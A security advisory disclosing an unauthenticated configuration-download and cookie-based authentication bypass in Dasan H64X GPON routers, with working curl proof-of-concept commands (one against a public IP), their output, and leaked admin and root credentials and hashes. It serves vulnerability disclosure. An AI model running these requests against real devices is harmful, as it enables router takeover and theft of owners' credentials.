Dasan Networks GPON ONT WiFi Router H64X Series System Config Download Vendor: Dasan Networks Product web page: http://www.dasannetworks.com | http://www.dasannetworks.eu Affected version: Models: H640GR-02 H640GV-03 H640GW-02 H640RW-02 H645G Firmware: 3.02p2-1141 2.77p1-1125 2.77-1115 2.76-9999 2.76-1101 2.67-1070 2.45-1045 Versions 3.03x are not affected by this issue. The running.CFG/wifi.CFG backup files are now 7z password protected. Summary: H64xx is comprised of one G-PON uplink port and four ports of Gigabit Ethernet downlink supporting 10/100/1000Base-T (RJ45). It helps service providers to extend their core optical network all the way to their subscribers, eliminating bandwidth bottlenecks in the last mile. H64xx is integrated device that provide the high quality Internet, telephony service (VoIP) and IPTV or OTT content for home or office. H64xx enable the subscribers to make a phone call whose quality is equal to PSTN at competitive price, and enjoy the high quality resolution live video and service such as VoD or High Speed Internet. Desc: The system backup configuration file 'running.CFG' and the wireless backup configuration file 'wifi.CFG' can be downloaded by an attacker from the root directory in certain circumstances. This will enable the attacker to disclose sensitive information and help her in authentication bypass, privilege escalation and/or full system access. Tested on: Server: lighttpd/1.4.31 Server: DasanNetwork Solution Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2017-5424 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5424.php 19.05.2017 -- ------------------- #1 This PoC request is assuming that the admin or a user created a backup. This is done by first issuing a request to: /cgi-bin/backuprecoversystembackup_action.cgi or /cgi-bin/backuprecoverwifibackup_action.cgi scripts that instructs the web server to generate the running.CFG or wifi.CFG gziped files respectively. curl http://192.168.0.1/running.CFG -# | gunzip > dasan_output.txt ; strings dasan_output.txt | grep -rn 'admin:' ######################################################################## 100.0% (standard input):180:admin:$1$s8UHZ.Iz$B4fSbmqgPsm717yQsFNfD/:0:0:admin:/etc:/bin/sh (standard input):1442:admin:admin123:2 bash-4.4$ curl http://192.168.0.1/running.CFG -# | gunzip > dasan_output.txt ; strings dasan_output.txt | grep -rn 'root:' ######################################################################## 100.0% (standard input):181:root:$1$s8UHZ.Iz$B4fSbmqgPsm717yQsFNfD/:0:0:root:/etc:/bin/sh (standard input):191:root:$1$s8UHZ.Iz$B4fSbmqgPsm717yQsFNfD/:14987:0:99999:7::: bash-4.4$ Notice the same hard-coded shell credentials for admin and root user. Left for the viewer to exercise 'cracking the perimeter'. ;] ------------------- #2 This PoC request will do an authentication bypass using the Grant cookie to create the running.CFG file. In this request we're using Grant=1 with the account 'user' which by default has the password: user. After that, decompressing the file, navigating to 'etc' extracted directory and reading 'web_user' file which can then escalate privileges by reading the admin password and loggin-in. bash-4.4$ curl http://192.168.0.1/cgi-bin/backuprecoversystembackup_action.cgi --cookie "silverheader=0c; Grant=1; Language=english" -H "X-Requested-With: XMLHttpRequest" ; sleep 5 bash-4.4$ curl http://192.168.0.1/running.CFG -vv --cookie "silverheader=0c; Grant=1; Language=english" -O % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Trying 192.168.0.1... * TCP_NODELAY set * Connected to 192.168.0.1 (192.168.0.1) port 80 (#0) > GET /running.CFG HTTP/1.1 > Host: 192.168.0.1 > User-Agent: curl/7.51.0 > Accept: */* > Cookie: silverheader=0c; Grant=1; Language=english > < HTTP/1.1 200 OK < Content-Type: application/octet-stream < Accept-Ranges: bytes < ETag: "2477069903" < Last-Modified: Wed, 12 Jul 2017 19:14:18 GMT < Content-Length: 10467 < Date: Thu, 13 Jul 2017 00:56:14 GMT < Server: lighttpd/1.4.31 < { [1208 bytes data] 53 10467 53 5528 0 0 5974 0 0:00:01 --:--:-- 0:00:01 5969* Curl_http_done: called premature == 0 100 10467 100 10467 0 0 11290 0 --:--:-- --:--:-- --:--:-- 11279 * Connection #0 to host 192.168.0.1 left intact bash-4.4$ file running.CFG running.CFG: gzip compressed data, last modified: Wed Jul 12 19:12:36 2017, max compression, from Unix bash-4.4$ gunzip -v -d --suffix .CFG running.CFG ; tar -xf running ; cd etc ; cat web_user running.CFG: 85.6% -- replaced with running admin:admin123:2 user:user:1 bash-4.4$ Or just: bash-4.4$ curl -O http://180.148.2.139/running.CFG bash-4.4$ tar -zxf running.CFG bash-4.4$ cd etc bash-4.4$ ls INPUT_FILTER.conf fire_wall.conf lan_static_ip.conf ntp.conf radvd_param.conf upnpigd.conf INPUT_REMOTE_ACCESS.conf fire_wall.sh lighttpd.conf other_security_status.sh remote_mgmt.conf user_ipv6tables.conf dasan_output.txt hostname localtime passwd routing_entry.conf user_wan_cfg.conf dhcp_client_dns.sh inet_check_file mac_filter.conf port_forward.conf shadow wan_ppp_mode.conf dhcp_client_dynamic_default_dns.conf ipupdate.conf mac_source_match.conf port_forward.sh snmp web-enable dhcpv6d.conf ipv6_route.conf multi_language.conf port_forward_dnat.sh snmp_status.conf web_user dhcpv6d_param.conf is_safe_nat_option nat_route.conf port_forward_gre.sh sys_login_max_num webrefreshtime.conf dmz.conf lan_dhcp_model.sh net_rest.conf ppp syslog.confx websesstime.conf ds_mode_config lan_dhcp_server_static_ip.conf ns_ftp.conf radvd.conf udhcpd.conf bash-4.4$ cat web_user admin:admin123:2 user:user:1 bash-4.4$ cat ./.config/ds_user_pw admin bash-4.4$ cat passwd admin:$1$s8UHZ.Iz$B4fSbmqgPsm717yQsFNfD/:0:0:admin:/etc:/bin/sh root:$1$s8UHZ.Iz$B4fSbmqgPsm717yQsFNfD/:0:0:root:/etc:/bin/sh